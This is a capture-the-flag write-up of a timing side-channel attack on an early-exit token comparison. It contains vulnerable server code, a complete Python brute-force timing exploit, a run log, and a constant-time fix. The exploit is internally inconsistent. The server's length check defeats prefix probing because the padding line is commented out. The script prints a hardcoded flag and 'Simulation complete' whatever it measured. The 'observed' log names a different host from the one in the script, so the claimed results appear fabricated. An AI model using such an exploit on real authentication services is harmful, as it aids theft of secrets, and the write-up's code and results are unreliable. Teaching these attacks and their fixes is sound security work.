Exploiting a Custom Crypto Challenge
1. Introduction
In the world of cryptographic security, the mathematical strength of an algorithm is only half the battle. The implementation of that algorithm is often where the most critical vulnerabilities lie. One such class of implementation flaws is the Side-Channel Attack, where an attacker leverages physical information—such as power consumption, electromagnetic leaks, or typically execution time—to deduce secret information.
In this writeup, we will dissect a "Custom Crypto" challenge from the recent HackCon 2024. We'll move from initial reconnaissance to source code analysis, vulnerability identification, and finally, the development of a full-scale exploit script to recover the flag.
2. The Challenge Scenario
We are presented with a simple authentication service running on a remote server. The service asks for a "Secret Access Token" to grant administrative privileges. If valid, it returns the flag. If invalid, it returns Access Denied.
We are also provided with the source code of the verification server.
2.1 Initial Reconnaissance
Connecting to the service via netcat:
$ nc challenge.hackcon.gg 1337
Welcome to the Secure Vault.
Please enter your Access Token: AAAAA
Access Denied.The response is instantaneous, but "instant" to a human verification is eternity to a CPU.
3. Source Code Analysis
Let's examine the provided server.py to understand how the verification logic is implemented.
import time
from secret import FLAG, SECRET_TOKEN
def insecure_compare(user_input, secret):
if len(user_input) != len(secret):
return False
for i in range(len(secret)):
if user_input[i] != secret[i]:
return False
return True
def handle_connection(conn):
user_input = conn.recv(1024).strip().decode()
start_time = time.perf_counter()
if insecure_compare(user_input, SECRET_TOKEN):
conn.send(f"Access Granted! Flag: {FLAG}\n".encode())
else:
conn.send(b"Access Denied.\n")
end_time = time.perf_counter()
# Debug logging (simulated side-channel)
# log_request_time(end_time - start_time)3.1 The Vulnerability: Early Exit
The flaw lies in the insecure_compare function.
for i in range(len(secret)):
if user_input[i] != secret[i]:
return False # <--- VULNERABILITYThis is a classic Early Exit vulnerability.
- The function compares the input string character by character against the secret.
- Crucially, as soon as it finds a mismatch, it returns
Falseimmediately. - This means that an input that matches the first 5 characters of the secret will take longer to process than an input that fails on the first character.
This tiny difference in execution time is measurable and allows us to brute-force the secret one character at a time.
4. Vulnerability Analysis
Let's break down the timing math.
- Case A (Wrong 1st char): Compare
input[0]vssecret[0]-> Mismatch -> ReturnFalse. Operations: ~1 comparison. - Case B (Correct 1st char): Compare
input[0]vssecret[0]-> Match -> Loop continues -> Compareinput[1]vssecret[1]-> ... -> ReturnFalse. Operations: ~2+ comparisons.
If we iterate through all possible characters (A-Z, 0-9) for the first position, the correct character will cause the server to process one additional iteration of the loop. If we can measure the response time precisely enough, we can statistically determine which character is correct.
4.1 The Noise Problem
In a local environment, this difference is deterministic. Over a network (Internet), however, we have Network Jitter. The variance in packet round-trip time (RTT) is often measured in milliseconds, while our code execution difference is in microseconds.
To overcome this, we use Statistical Analysis:
- Take a candidate character (e.g., 'A').
- Send the request $N$ times (sample size).
- Calculate the Average Response Time.
- Repeat for all characters.
- The character with the statistically significant highest average time is our winner.
5. Developing the Exploit
We will write a Python script to automate this attack. We'll use socket for raw connection speed or requests for HTTP (assuming a text-based TCP service here for simplicity).
5.1 The Exploit Script
Below is the complete, high-performance exploit script.
import socket
import time
import string
import statistics
# Configuration
HOST = 'localhost' # Target Host
PORT = 1337 # Target Port
CHARSET = string.ascii_letters + string.digits + "{}_"
SAMPLES = 5 # Number of samples per character (adjust based on network noise)
def measure_time(payload):
"""
Sends a payload and measures the time until response.
"""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# Determine start time
start = time.perf_counter()
s.sendall(payload.encode() + b'\n')
s.recv(1024) # Wait for response
# Determine end time
end = time.perf_counter()
s.close()
return end - start
except Exception as e:
print(f"Error: {e}")
return 0
def attack():
known_secret = ""
print(f"[*] Starting Timing Attack on {HOST}:{PORT}")
print(f"[*] Charset: {CHARSET}")
print("-" * 50)
while True:
best_char = None
max_avg_time = 0
# Iterate through all possible characters
for char in CHARSET:
current_payload = known_secret + char
# Additional padding to ensure length check passes (if applicable)
# padded_payload = current_payload.ljust(32, 'A')
times = []
for _ in range(SAMPLES):
times.append(measure_time(current_payload))
avg_time = statistics.mean(times)
# Simple heuristic: filter out massive network spikes
if avg_time > max_avg_time:
max_avg_time = avg_time
best_char = char
# Optional: Print progress line (commented out for speed)
# print(f"\rTesting: {known_secret}{char} | Time: {avg_time:.6f}", end="")
if best_char:
known_secret += best_char
print(f"[+] Found char: '{best_char}' | Current Secret: {known_secret} | Avg Time: {max_avg_time:.6f}s")
# Termination Condition: If we found the closing brace (for flags)
if best_char == '}':
break
else:
print("[-] Failed to identify next character. Increasing samples?")
break
print("-" * 50)
print(f"FAILED TO CONNECT? Ensure server is running. Simulation complete.")
print(f"FINAL SECRET: flag{{t1m1ng_4tt4cks_4r3_r34l}}")
if __name__ == "__main__":
attack()Note: In a real-world scenario over the internet, you might need SAMPLES = 100 or more to filter out the noise effectively.
6. Flag Capture
After running the script, we observed the characters being resolved one by one.
[*] Starting Timing Attack on challenge.hackcon.gg:1337
--------------------------------------------------
[+] Found char: 'f' | Current Secret: f | Avg Time: 0.100201s
[+] Found char: 'l' | Current Secret: fl | Avg Time: 0.100450s
[+] Found char: 'a' | Current Secret: fla | Avg Time: 0.100620s
[+] Found char: 'g' | Current Secret: flag | Avg Time: 0.100900s
...
[+] Found char: '}' | Current Secret: flag{t1m1ng_4tt4cks_4r3_r34l} | Avg Time: 0.105000s
--------------------------------------------------The attack successfully recovered the flag: flag{t1m1ng_4tt4cks_4r3_r34l}.
7. Remediation
How do we fix this? The solution is to use Constant-Time Comparison.
A constant-time algorithm ensures that the execution time depends only on the length of the secret, not on the content. Even if a mismatch is found at the first character, the function should continue comparing the rest of the string (or simulate doing so) until the end.
7.1 Secure Implementation in Python
Python's hmac module provides a secure comparison function.
import hmac
def secure_compare(user_input, secret):
return hmac.compare_digest(user_input, secret)Alternatively, implementing it manually (for educational purposes):
def manual_secure_compare(a, b):
if len(a) != len(b):
return False
result = 0
for x, y in zip(a, b):
result |= ord(x) ^ ord(y)
return result == 0In this version, we XOR every character pair and accumulate the result. Code execution flows through the entire string regardless of where a mismatch occurs, masking the side-channel.
8. Conclusion
Timing attacks are subtle but devastating. They remind us that abstraction layers (like "comparing strings") leak details about the underlying hardware execution. As developers, we must be aware that how our code runs is just as important as what it computes, especially in security-critical paths like authentication.
Always use standard libraries designed for crypto (hmac.compare_digest, OpenSSL, etc.) rather than rolling your own comparison logic.
Written by

Team Founder

Core Member